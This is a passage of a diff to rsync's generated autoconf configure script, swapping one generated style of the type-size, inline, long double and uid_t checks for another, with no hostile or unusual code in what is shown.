rsync_cv_MAKEDEV_TAKES_3_ARGS=no\n fi\n rm -f core *.core core.conftest.* gmon.out bb.out conftest$ac_exeext \\\n-  conftest.$ac_objext conftest.beam conftest.$ac_ext ;;\n-esac\n+  conftest.$ac_objext conftest.beam conftest.$ac_ext\n fi\n- ;;\n-esac\n+\n fi\n { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: $rsync_cv_MAKEDEV_TAKES_3_ARGS\" >&5\n printf \"%s\\n\" \"$rsync_cv_MAKEDEV_TAKES_3_ARGS\" >&6; }\n@@ -8821,30 +8325,28 @@ fi\n \n # The cast to long int works around a bug in the HP C Compiler\n # version HP92453-01 B.11.11.23709.GP, which incorrectly rejects\n-# declarations like 'int a3[[(sizeof (unsigned char)) >= 0]];'.\n+# declarations like `int a3[[(sizeof (unsigned char)) >= 0]];'.\n # This bug is HP SR number 8606223364.\n { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: checking size of int\" >&5\n printf %s \"checking size of int... \" >&6; }\n if test ${ac_cv_sizeof_int+y}\n then :\n   printf %s \"(cached) \" >&6\n-else case e in #(\n-  e) if ac_fn_c_compute_int \"$LINENO\" \"(long int) (sizeof (int))\" \"ac_cv_sizeof_int\"        \"$ac_includes_default\"\n+else $as_nop\n+  if ac_fn_c_compute_int \"$LINENO\" \"(long int) (sizeof (int))\" \"ac_cv_sizeof_int\"        \"$ac_includes_default\"\n then :\n \n-else case e in #(\n-  e) if test \"$ac_cv_type_int\" = yes; then\n-     { { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: error: in '$ac_pwd':\" >&5\n-printf \"%s\\n\" \"$as_me: error: in '$ac_pwd':\" >&2;}\n+else $as_nop\n+  if test \"$ac_cv_type_int\" = yes; then\n+     { { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: error: in \\`$ac_pwd':\" >&5\n+printf \"%s\\n\" \"$as_me: error: in \\`$ac_pwd':\" >&2;}\n as_fn_error 77 \"cannot compute sizeof (int)\n-See 'config.log' for more details\" \"$LINENO\" 5; }\n+See \\`config.log' for more details\" \"$LINENO\" 5; }\n    else\n      ac_cv_sizeof_int=0\n-   fi ;;\n-esac\n+   fi\n fi\n- ;;\n-esac\n+\n fi\n { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: $ac_cv_sizeof_int\" >&5\n printf \"%s\\n\" \"$ac_cv_sizeof_int\" >&6; }\n@@ -8856,30 +8358,28 @@ printf \"%s\\n\" \"#define SIZEOF_INT $ac_cv_sizeof_int\" >>confdefs.h\n \n # The cast to long int works around a bug in the HP C Compiler\n # version HP92453-01 B.11.11.23709.GP, which incorrectly rejects\n-# declarations like 'int a3[[(sizeof (unsigned char)) >= 0]];'.\n+# declarations like `int a3[[(sizeof (unsigned char)) >= 0]];'.\n # This bug is HP SR number 8606223364.\n { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: checking size of long\" >&5\n printf %s \"checking size of long... \" >&6; }\n if test ${ac_cv_sizeof_long+y}\n then :\n   printf %s \"(cached) \" >&6\n-else case e in #(\n-  e) if ac_fn_c_compute_int \"$LINENO\" \"(long int) (sizeof (long))\" \"ac_cv_sizeof_long\"        \"$ac_includes_default\"\n+else $as_nop\n+  if ac_fn_c_compute_int \"$LINENO\" \"(long int) (sizeof (long))\" \"ac_cv_sizeof_long\"        \"$ac_includes_default\"\n then :\n \n-else case e in #(\n-  e) if test \"$ac_cv_type_long\" = yes; then\n-     { { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: error: in '$ac_pwd':\" >&5\n-printf \"%s\\n\" \"$as_me: error: in '$ac_pwd':\" >&2;}\n+else $as_nop\n+  if test \"$ac_cv_type_long\" = yes; then\n+     { { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: error: in \\`$ac_pwd':\" >&5\n+printf \"%s\\n\" \"$as_me: error: in \\`$ac_pwd':\" >&2;}\n as_fn_error 77 \"cannot compute sizeof (long)\n-See 'config.log' for more details\" \"$LINENO\" 5; }\n+See \\`config.log' for more details\" \"$LINENO\" 5; }\n    else\n      ac_cv_sizeof_long=0\n-   fi ;;\n-esac\n+   fi\n fi\n- ;;\n-esac\n+\n fi\n { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: $ac_cv_sizeof_long\" >&5\n printf \"%s\\n\" \"$ac_cv_sizeof_long\" >&6; }\n@@ -8891,30 +8391,28 @@ printf \"%s\\n\" \"#define SIZEOF_LONG $ac_cv_sizeof_long\" >>confdefs.h\n \n # The cast to long int works around a bug in the HP C Compiler\n # version HP92453-01 B.11.11.23709.GP, which incorrectly rejects\n-# declarations like 'int a3[[(sizeof (unsigned char)) >= 0]];'.\n+# declarations like `int a3[[(sizeof (unsigned char)) >= 0]];'.\n # This bug is HP SR number 8606223364.\n { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: checking size of long long\" >&5\n printf %s \"checking size of long long... \" >&6; }\n if test ${ac_cv_sizeof_long_long+y}\n then :\n   printf %s \"(cached) \" >&6\n-else case e in #(\n-  e) if ac_fn_c_compute_int \"$LINENO\" \"(long int) (sizeof (long long))\" \"ac_cv_sizeof_long_long\"        \"$ac_includes_default\"\n+else $as_nop\n+  if ac_fn_c_compute_int \"$LINENO\" \"(long int) (sizeof (long long))\" \"ac_cv_sizeof_long_long\"        \"$ac_includes_default\"\n then :\n \n-else case e in #(\n-  e) if test \"$ac_cv_type_long_long\" = yes; then\n-     { { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: error: in '$ac_pwd':\" >&5\n-printf \"%s\\n\" \"$as_me: error: in '$ac_pwd':\" >&2;}\n+else $as_nop\n+  if test \"$ac_cv_type_long_long\" = yes; then\n+     { { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: error: in \\`$ac_pwd':\" >&5\n+printf \"%s\\n\" \"$as_me: error: in \\`$ac_pwd':\" >&2;}\n as_fn_error 77 \"cannot compute sizeof (long long)\n-See 'config.log' for more details\" \"$LINENO\" 5; }\n+See \\`config.log' for more details\" \"$LINENO\" 5; }\n    else\n      ac_cv_sizeof_long_long=0\n-   fi ;;\n-esac\n+   fi\n fi\n- ;;\n-esac\n+\n fi\n { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: $ac_cv_sizeof_long_long\" >&5\n printf \"%s\\n\" \"$ac_cv_sizeof_long_long\" >&6; }\n@@ -8926,30 +8424,28 @@ printf \"%s\\n\" \"#define SIZEOF_LONG_LONG $ac_cv_sizeof_long_long\" >>confdefs.h\n \n # The cast to long int works around a bug in the HP C Compiler\n # version HP92453-01 B.11.11.23709.GP, which incorrectly rejects\n-# declarations like 'int a3[[(sizeof (unsigned char)) >= 0]];'.\n+# declarations like `int a3[[(sizeof (unsigned char)) >= 0]];'.\n # This bug is HP SR number 8606223364.\n { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: checking size of short\" >&5\n printf %s \"checking size of short... \" >&6; }\n if test ${ac_cv_sizeof_short+y}\n then :\n   printf %s \"(cached) \" >&6\n-else case e in #(\n-  e) if ac_fn_c_compute_int \"$LINENO\" \"(long int) (sizeof (short))\" \"ac_cv_sizeof_short\"        \"$ac_includes_default\"\n+else $as_nop\n+  if ac_fn_c_compute_int \"$LINENO\" \"(long int) (sizeof (short))\" \"ac_cv_sizeof_short\"        \"$ac_includes_default\"\n then :\n \n-else case e in #(\n-  e) if test \"$ac_cv_type_short\" = yes; then\n-     { { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: error: in '$ac_pwd':\" >&5\n-printf \"%s\\n\" \"$as_me: error: in '$ac_pwd':\" >&2;}\n+else $as_nop\n+  if test \"$ac_cv_type_short\" = yes; then\n+     { { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: error: in \\`$ac_pwd':\" >&5\n+printf \"%s\\n\" \"$as_me: error: in \\`$ac_pwd':\" >&2;}\n as_fn_error 77 \"cannot compute sizeof (short)\n-See 'config.log' for more details\" \"$LINENO\" 5; }\n+See \\`config.log' for more details\" \"$LINENO\" 5; }\n    else\n      ac_cv_sizeof_short=0\n-   fi ;;\n-esac\n+   fi\n fi\n- ;;\n-esac\n+\n fi\n { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: $ac_cv_sizeof_short\" >&5\n printf \"%s\\n\" \"$ac_cv_sizeof_short\" >&6; }\n@@ -8961,30 +8457,28 @@ printf \"%s\\n\" \"#define SIZEOF_SHORT $ac_cv_sizeof_short\" >>confdefs.h\n \n # The cast to long int works around a bug in the HP C Compiler\n # version HP92453-01 B.11.11.23709.GP, which incorrectly rejects\n-# declarations like 'int a3[[(sizeof (unsigned char)) >= 0]];'.\n+# declarations like `int a3[[(sizeof (unsigned char)) >= 0]];'.\n # This bug is HP SR number 8606223364.\n { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: checking size of int16_t\" >&5\n printf %s \"checking size of int16_t... \" >&6; }\n if test ${ac_cv_sizeof_int16_t+y}\n then :\n   printf %s \"(cached) \" >&6\n-else case e in #(\n-  e) if ac_fn_c_compute_int \"$LINENO\" \"(long int) (sizeof (int16_t))\" \"ac_cv_sizeof_int16_t\"        \"$ac_includes_default\"\n+else $as_nop\n+  if ac_fn_c_compute_int \"$LINENO\" \"(long int) (sizeof (int16_t))\" \"ac_cv_sizeof_int16_t\"        \"$ac_includes_default\"\n then :\n \n-else case e in #(\n-  e) if test \"$ac_cv_type_int16_t\" = yes; then\n-     { { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: error: in '$ac_pwd':\" >&5\n-printf \"%s\\n\" \"$as_me: error: in '$ac_pwd':\" >&2;}\n+else $as_nop\n+  if test \"$ac_cv_type_int16_t\" = yes; then\n+     { { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: error: in \\`$ac_pwd':\" >&5\n+printf \"%s\\n\" \"$as_me: error: in \\`$ac_pwd':\" >&2;}\n as_fn_error 77 \"cannot compute sizeof (int16_t)\n-See 'config.log' for more details\" \"$LINENO\" 5; }\n+See \\`config.log' for more details\" \"$LINENO\" 5; }\n    else\n      ac_cv_sizeof_int16_t=0\n-   fi ;;\n-esac\n+   fi\n fi\n- ;;\n-esac\n+\n fi\n { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: $ac_cv_sizeof_int16_t\" >&5\n printf \"%s\\n\" \"$ac_cv_sizeof_int16_t\" >&6; }\n@@ -8996,30 +8490,28 @@ printf \"%s\\n\" \"#define SIZEOF_INT16_T $ac_cv_sizeof_int16_t\" >>confdefs.h\n \n # The cast to long int works around a bug in the HP C Compiler\n # version HP92453-01 B.11.11.23709.GP, which incorrectly rejects\n-# declarations like 'int a3[[(sizeof (unsigned char)) >= 0]];'.\n+# declarations like `int a3[[(sizeof (unsigned char)) >= 0]];'.\n # This bug is HP SR number 8606223364.\n { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: checking size of uint16_t\" >&5\n printf %s \"checking size of uint16_t... \" >&6; }\n if test ${ac_cv_sizeof_uint16_t+y}\n then :\n   printf %s \"(cached) \" >&6\n-else case e in #(\n-  e) if ac_fn_c_compute_int \"$LINENO\" \"(long int) (sizeof (uint16_t))\" \"ac_cv_sizeof_uint16_t\"        \"$ac_includes_default\"\n+else $as_nop\n+  if ac_fn_c_compute_int \"$LINENO\" \"(long int) (sizeof (uint16_t))\" \"ac_cv_sizeof_uint16_t\"        \"$ac_includes_default\"\n then :\n \n-else case e in #(\n-  e) if test \"$ac_cv_type_uint16_t\" = yes; then\n-     { { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: error: in '$ac_pwd':\" >&5\n-printf \"%s\\n\" \"$as_me: error: in '$ac_pwd':\" >&2;}\n+else $as_nop\n+  if test \"$ac_cv_type_uint16_t\" = yes; then\n+     { { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: error: in \\`$ac_pwd':\" >&5\n+printf \"%s\\n\" \"$as_me: error: in \\`$ac_pwd':\" >&2;}\n as_fn_error 77 \"cannot compute sizeof (uint16_t)\n-See 'config.log' for more details\" \"$LINENO\" 5; }\n+See \\`config.log' for more details\" \"$LINENO\" 5; }\n    else\n      ac_cv_sizeof_uint16_t=0\n-   fi ;;\n-esac\n+   fi\n fi\n- ;;\n-esac\n+\n fi\n { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: $ac_cv_sizeof_uint16_t\" >&5\n printf \"%s\\n\" \"$ac_cv_sizeof_uint16_t\" >&6; }\n@@ -9031,30 +8523,28 @@ printf \"%s\\n\" \"#define SIZEOF_UINT16_T $ac_cv_sizeof_uint16_t\" >>confdefs.h\n \n # The cast to long int works around a bug in the HP C Compiler\n # version HP92453-01 B.11.11.23709.GP, which incorrectly rejects\n-# declarations like 'int a3[[(sizeof (unsigned char)) >= 0]];'.\n+# declarations like `int a3[[(sizeof (unsigned char)) >= 0]];'.\n # This bug is HP SR number 8606223364.\n { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: checking size of int32_t\" >&5\n printf %s \"checking size of int32_t... \" >&6; }\n if test ${ac_cv_sizeof_int32_t+y}\n then :\n   printf %s \"(cached) \" >&6\n-else case e in #(\n-  e) if ac_fn_c_compute_int \"$LINENO\" \"(long int) (sizeof (int32_t))\" \"ac_cv_sizeof_int32_t\"        \"$ac_includes_default\"\n+else $as_nop\n+  if ac_fn_c_compute_int \"$LINENO\" \"(long int) (sizeof (int32_t))\" \"ac_cv_sizeof_int32_t\"        \"$ac_includes_default\"\n then :\n \n-else case e in #(\n-  e) if test \"$ac_cv_type_int32_t\" = yes; then\n-     { { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: error: in '$ac_pwd':\" >&5\n-printf \"%s\\n\" \"$as_me: error: in '$ac_pwd':\" >&2;}\n+else $as_nop\n+  if test \"$ac_cv_type_int32_t\" = yes; then\n+     { { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: error: in \\`$ac_pwd':\" >&5\n+printf \"%s\\n\" \"$as_me: error: in \\`$ac_pwd':\" >&2;}\n as_fn_error 77 \"cannot compute sizeof (int32_t)\n-See 'config.log' for more details\" \"$LINENO\" 5; }\n+See \\`config.log' for more details\" \"$LINENO\" 5; }\n    else\n      ac_cv_sizeof_int32_t=0\n-   fi ;;\n-esac\n+   fi\n fi\n- ;;\n-esac\n+\n fi\n { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: $ac_cv_sizeof_int32_t\" >&5\n printf \"%s\\n\" \"$ac_cv_sizeof_int32_t\" >&6; }\n@@ -9066,30 +8556,28 @@ printf \"%s\\n\" \"#define SIZEOF_INT32_T $ac_cv_sizeof_int32_t\" >>confdefs.h\n \n # The cast to long int works around a bug in the HP C Compiler\n # version HP92453-01 B.11.11.23709.GP, which incorrectly rejects\n-# declarations like 'int a3[[(sizeof (unsigned char)) >= 0]];'.\n+# declarations like `int a3[[(sizeof (unsigned char)) >= 0]];'.\n # This bug is HP SR number 8606223364.\n { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: checking size of uint32_t\" >&5\n printf %s \"checking size of uint32_t... \" >&6; }\n if test ${ac_cv_sizeof_uint32_t+y}\n then :\n   printf %s \"(cached) \" >&6\n-else case e in #(\n-  e) if ac_fn_c_compute_int \"$LINENO\" \"(long int) (sizeof (uint32_t))\" \"ac_cv_sizeof_uint32_t\"        \"$ac_includes_default\"\n+else $as_nop\n+  if ac_fn_c_compute_int \"$LINENO\" \"(long int) (sizeof (uint32_t))\" \"ac_cv_sizeof_uint32_t\"        \"$ac_includes_default\"\n then :\n \n-else case e in #(\n-  e) if test \"$ac_cv_type_uint32_t\" = yes; then\n-     { { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: error: in '$ac_pwd':\" >&5\n-printf \"%s\\n\" \"$as_me: error: in '$ac_pwd':\" >&2;}\n+else $as_nop\n+  if test \"$ac_cv_type_uint32_t\" = yes; then\n+     { { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: error: in \\`$ac_pwd':\" >&5\n+printf \"%s\\n\" \"$as_me: error: in \\`$ac_pwd':\" >&2;}\n as_fn_error 77 \"cannot compute sizeof (uint32_t)\n-See 'config.log' for more details\" \"$LINENO\" 5; }\n+See \\`config.log' for more details\" \"$LINENO\" 5; }\n    else\n      ac_cv_sizeof_uint32_t=0\n-   fi ;;\n-esac\n+   fi\n fi\n- ;;\n-esac\n+\n fi\n { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: $ac_cv_sizeof_uint32_t\" >&5\n printf \"%s\\n\" \"$ac_cv_sizeof_uint32_t\" >&6; }\n@@ -9101,30 +8589,28 @@ printf \"%s\\n\" \"#define SIZEOF_UINT32_T $ac_cv_sizeof_uint32_t\" >>confdefs.h\n \n # The cast to long int works around a bug in the HP C Compiler\n # version HP92453-01 B.11.11.23709.GP, which incorrectly rejects\n-# declarations like 'int a3[[(sizeof (unsigned char)) >= 0]];'.\n+# declarations like `int a3[[(sizeof (unsigned char)) >= 0]];'.\n # This bug is HP SR number 8606223364.\n { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: checking size of int64_t\" >&5\n printf %s \"checking size of int64_t... \" >&6; }\n if test ${ac_cv_sizeof_int64_t+y}\n then :\n   printf %s \"(cached) \" >&6\n-else case e in #(\n-  e) if ac_fn_c_compute_int \"$LINENO\" \"(long int) (sizeof (int64_t))\" \"ac_cv_sizeof_int64_t\"        \"$ac_includes_default\"\n+else $as_nop\n+  if ac_fn_c_compute_int \"$LINENO\" \"(long int) (sizeof (int64_t))\" \"ac_cv_sizeof_int64_t\"        \"$ac_includes_default\"\n then :\n \n-else case e in #(\n-  e) if test \"$ac_cv_type_int64_t\" = yes; then\n-     { { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: error: in '$ac_pwd':\" >&5\n-printf \"%s\\n\" \"$as_me: error: in '$ac_pwd':\" >&2;}\n+else $as_nop\n+  if test \"$ac_cv_type_int64_t\" = yes; then\n+     { { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: error: in \\`$ac_pwd':\" >&5\n+printf \"%s\\n\" \"$as_me: error: in \\`$ac_pwd':\" >&2;}\n as_fn_error 77 \"cannot compute sizeof (int64_t)\n-See 'config.log' for more details\" \"$LINENO\" 5; }\n+See \\`config.log' for more details\" \"$LINENO\" 5; }\n    else\n      ac_cv_sizeof_int64_t=0\n-   fi ;;\n-esac\n+   fi\n fi\n- ;;\n-esac\n+\n fi\n { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: $ac_cv_sizeof_int64_t\" >&5\n printf \"%s\\n\" \"$ac_cv_sizeof_int64_t\" >&6; }\n@@ -9136,30 +8622,28 @@ printf \"%s\\n\" \"#define SIZEOF_INT64_T $ac_cv_sizeof_int64_t\" >>confdefs.h\n \n # The cast to long int works around a bug in the HP C Compiler\n # version HP92453-01 B.11.11.23709.GP, which incorrectly rejects\n-# declarations like 'int a3[[(sizeof (unsigned char)) >= 0]];'.\n+# declarations like `int a3[[(sizeof (unsigned char)) >= 0]];'.\n # This bug is HP SR number 8606223364.\n { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: checking size of off_t\" >&5\n printf %s \"checking size of off_t... \" >&6; }\n if test ${ac_cv_sizeof_off_t+y}\n then :\n   printf %s \"(cached) \" >&6\n-else case e in #(\n-  e) if ac_fn_c_compute_int \"$LINENO\" \"(long int) (sizeof (off_t))\" \"ac_cv_sizeof_off_t\"        \"$ac_includes_default\"\n+else $as_nop\n+  if ac_fn_c_compute_int \"$LINENO\" \"(long int) (sizeof (off_t))\" \"ac_cv_sizeof_off_t\"        \"$ac_includes_default\"\n then :\n \n-else case e in #(\n-  e) if test \"$ac_cv_type_off_t\" = yes; then\n-     { { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: error: in '$ac_pwd':\" >&5\n-printf \"%s\\n\" \"$as_me: error: in '$ac_pwd':\" >&2;}\n+else $as_nop\n+  if test \"$ac_cv_type_off_t\" = yes; then\n+     { { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: error: in \\`$ac_pwd':\" >&5\n+printf \"%s\\n\" \"$as_me: error: in \\`$ac_pwd':\" >&2;}\n as_fn_error 77 \"cannot compute sizeof (off_t)\n-See 'config.log' for more details\" \"$LINENO\" 5; }\n+See \\`config.log' for more details\" \"$LINENO\" 5; }\n    else\n      ac_cv_sizeof_off_t=0\n-   fi ;;\n-esac\n+   fi\n fi\n- ;;\n-esac\n+\n fi\n { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: $ac_cv_sizeof_off_t\" >&5\n printf \"%s\\n\" \"$ac_cv_sizeof_off_t\" >&6; }\n@@ -9171,30 +8655,28 @@ printf \"%s\\n\" \"#define SIZEOF_OFF_T $ac_cv_sizeof_off_t\" >>confdefs.h\n \n # The cast to long int works around a bug in the HP C Compiler\n # version HP92453-01 B.11.11.23709.GP, which incorrectly rejects\n-# declarations like 'int a3[[(sizeof (unsigned char)) >= 0]];'.\n+# declarations like `int a3[[(sizeof (unsigned char)) >= 0]];'.\n # This bug is HP SR number 8606223364.\n { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: checking size of off64_t\" >&5\n printf %s \"checking size of off64_t... \" >&6; }\n if test ${ac_cv_sizeof_off64_t+y}\n then :\n   printf %s \"(cached) \" >&6\n-else case e in #(\n-  e) if ac_fn_c_compute_int \"$LINENO\" \"(long int) (sizeof (off64_t))\" \"ac_cv_sizeof_off64_t\"        \"$ac_includes_default\"\n+else $as_nop\n+  if ac_fn_c_compute_int \"$LINENO\" \"(long int) (sizeof (off64_t))\" \"ac_cv_sizeof_off64_t\"        \"$ac_includes_default\"\n then :\n \n-else case e in #(\n-  e) if test \"$ac_cv_type_off64_t\" = yes; then\n-     { { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: error: in '$ac_pwd':\" >&5\n-printf \"%s\\n\" \"$as_me: error: in '$ac_pwd':\" >&2;}\n+else $as_nop\n+  if test \"$ac_cv_type_off64_t\" = yes; then\n+     { { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: error: in \\`$ac_pwd':\" >&5\n+printf \"%s\\n\" \"$as_me: error: in \\`$ac_pwd':\" >&2;}\n as_fn_error 77 \"cannot compute sizeof (off64_t)\n-See 'config.log' for more details\" \"$LINENO\" 5; }\n+See \\`config.log' for more details\" \"$LINENO\" 5; }\n    else\n      ac_cv_sizeof_off64_t=0\n-   fi ;;\n-esac\n+   fi\n fi\n- ;;\n-esac\n+\n fi\n { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: $ac_cv_sizeof_off64_t\" >&5\n printf \"%s\\n\" \"$ac_cv_sizeof_off64_t\" >&6; }\n@@ -9206,30 +8688,28 @@ printf \"%s\\n\" \"#define SIZEOF_OFF64_T $ac_cv_sizeof_off64_t\" >>confdefs.h\n \n # The cast to long int works around a bug in the HP C Compiler\n # version HP92453-01 B.11.11.23709.GP, which incorrectly rejects\n-# declarations like 'int a3[[(sizeof (unsigned char)) >= 0]];'.\n+# declarations like `int a3[[(sizeof (unsigned char)) >= 0]];'.\n # This bug is HP SR number 8606223364.\n { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: checking size of time_t\" >&5\n printf %s \"checking size of time_t... \" >&6; }\n if test ${ac_cv_sizeof_time_t+y}\n then :\n   printf %s \"(cached) \" >&6\n-else case e in #(\n-  e) if ac_fn_c_compute_int \"$LINENO\" \"(long int) (sizeof (time_t))\" \"ac_cv_sizeof_time_t\"        \"$ac_includes_default\"\n+else $as_nop\n+  if ac_fn_c_compute_int \"$LINENO\" \"(long int) (sizeof (time_t))\" \"ac_cv_sizeof_time_t\"        \"$ac_includes_default\"\n then :\n \n-else case e in #(\n-  e) if test \"$ac_cv_type_time_t\" = yes; then\n-     { { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: error: in '$ac_pwd':\" >&5\n-printf \"%s\\n\" \"$as_me: error: in '$ac_pwd':\" >&2;}\n+else $as_nop\n+  if test \"$ac_cv_type_time_t\" = yes; then\n+     { { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: error: in \\`$ac_pwd':\" >&5\n+printf \"%s\\n\" \"$as_me: error: in \\`$ac_pwd':\" >&2;}\n as_fn_error 77 \"cannot compute sizeof (time_t)\n-See 'config.log' for more details\" \"$LINENO\" 5; }\n+See \\`config.log' for more details\" \"$LINENO\" 5; }\n    else\n      ac_cv_sizeof_time_t=0\n-   fi ;;\n-esac\n+   fi\n fi\n- ;;\n-esac\n+\n fi\n { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: $ac_cv_sizeof_time_t\" >&5\n printf \"%s\\n\" \"$ac_cv_sizeof_time_t\" >&6; }\n@@ -9241,30 +8721,28 @@ printf \"%s\\n\" \"#define SIZEOF_TIME_T $ac_cv_sizeof_time_t\" >>confdefs.h\n \n # The cast to long int works around a bug in the HP C Compiler\n # version HP92453-01 B.11.11.23709.GP, which incorrectly rejects\n-# declarations like 'int a3[[(sizeof (unsigned char)) >= 0]];'.\n+# declarations like `int a3[[(sizeof (unsigned char)) >= 0]];'.\n # This bug is HP SR number 8606223364.\n { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: checking size of char*\" >&5\n printf %s \"checking size of char*... \" >&6; }\n if test ${ac_cv_sizeof_charp+y}\n then :\n   printf %s \"(cached) \" >&6\n-else case e in #(\n-  e) if ac_fn_c_compute_int \"$LINENO\" \"(long int) (sizeof (char*))\" \"ac_cv_sizeof_charp\"        \"$ac_includes_default\"\n+else $as_nop\n+  if ac_fn_c_compute_int \"$LINENO\" \"(long int) (sizeof (char*))\" \"ac_cv_sizeof_charp\"        \"$ac_includes_default\"\n then :\n \n-else case e in #(\n-  e) if test \"$ac_cv_type_charp\" = yes; then\n-     { { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: error: in '$ac_pwd':\" >&5\n-printf \"%s\\n\" \"$as_me: error: in '$ac_pwd':\" >&2;}\n+else $as_nop\n+  if test \"$ac_cv_type_charp\" = yes; then\n+     { { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: error: in \\`$ac_pwd':\" >&5\n+printf \"%s\\n\" \"$as_me: error: in \\`$ac_pwd':\" >&2;}\n as_fn_error 77 \"cannot compute sizeof (char*)\n-See 'config.log' for more details\" \"$LINENO\" 5; }\n+See \\`config.log' for more details\" \"$LINENO\" 5; }\n    else\n      ac_cv_sizeof_charp=0\n-   fi ;;\n-esac\n+   fi\n fi\n- ;;\n-esac\n+\n fi\n { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: $ac_cv_sizeof_charp\" >&5\n printf \"%s\\n\" \"$ac_cv_sizeof_charp\" >&6; }\n@@ -9280,8 +8758,8 @@ printf %s \"checking for inline... \" >&6; }\n if test ${ac_cv_c_inline+y}\n then :\n   printf %s \"(cached) \" >&6\n-else case e in #(\n-  e) ac_cv_c_inline=no\n+else $as_nop\n+  ac_cv_c_inline=no\n for ac_kw in inline __inline__ __inline; do\n   cat confdefs.h - <<_ACEOF >conftest.$ac_ext\n /* end confdefs.h.  */\n@@ -9299,8 +8777,7 @@ fi\n rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext\n   test \"$ac_cv_c_inline\" != no && break\n done\n- ;;\n-esac\n+\n fi\n { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: $ac_cv_c_inline\" >&5\n printf \"%s\\n\" \"$ac_cv_c_inline\" >&6; }\n@@ -9327,8 +8804,8 @@ printf %s \"checking for long double with more range or precision than double...\n if test ${ac_cv_type_long_double_wider+y}\n then :\n   printf %s \"(cached) \" >&6\n-else case e in #(\n-  e) cat confdefs.h - <<_ACEOF >conftest.$ac_ext\n+else $as_nop\n+  cat confdefs.h - <<_ACEOF >conftest.$ac_ext\n /* end confdefs.h.  */\n #include <float.h>\n \t    long double const a[] =\n@@ -9362,12 +8839,10 @@ _ACEOF\n if ac_fn_c_try_compile \"$LINENO\"\n then :\n   ac_cv_type_long_double_wider=yes\n-else case e in #(\n-  e) ac_cv_type_long_double_wider=no ;;\n-esac\n+else $as_nop\n+  ac_cv_type_long_double_wider=no\n fi\n-rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext ;;\n-esac\n+rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext\n fi\n { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: $ac_cv_type_long_double_wider\" >&5\n printf \"%s\\n\" \"$ac_cv_type_long_double_wider\" >&6; }\n@@ -9384,26 +8859,37 @@ printf \"%s\\n\" \"#define HAVE_LONG_DOUBLE 1\" >>confdefs.h\n \n fi\n \n-ac_fn_c_check_type \"$LINENO\" \"uid_t\" \"ac_cv_type_uid_t\" \"$ac_includes_default\"\n-if test \"x$ac_cv_type_uid_t\" = xyes\n+\n+{ printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: checking for uid_t in sys/types.h\" >&5\n+printf %s \"checking for uid_t in sys/types.h... \" >&6; }\n+if test ${ac_cv_type_uid_t+y}\n then :\n+  printf %s \"(cached) \" >&6\n+else $as_nop\n+  cat confdefs.h - <<_ACEOF >conftest.$ac_ext\n+/* end confdefs.h.  */\n+#include <sys/types.h>\n+\n+_ACEOF\n+if (eval \"$ac_cpp conftest.$ac_ext\") 2>&5 |\n+  $EGREP \"uid_t\" >/dev/null 2>&1\n+then :\n+  ac_cv_type_uid_t=yes\n+else $as_nop\n+  ac_cv_type_uid_t=no\n+fi\n+rm -rf conftest*\n \n-else case e in #(\n-  e)\n-printf \"%s\\n\" \"#define uid_t int\" >>confdefs.h\n- ;;\n-esac\n fi\n+{ printf 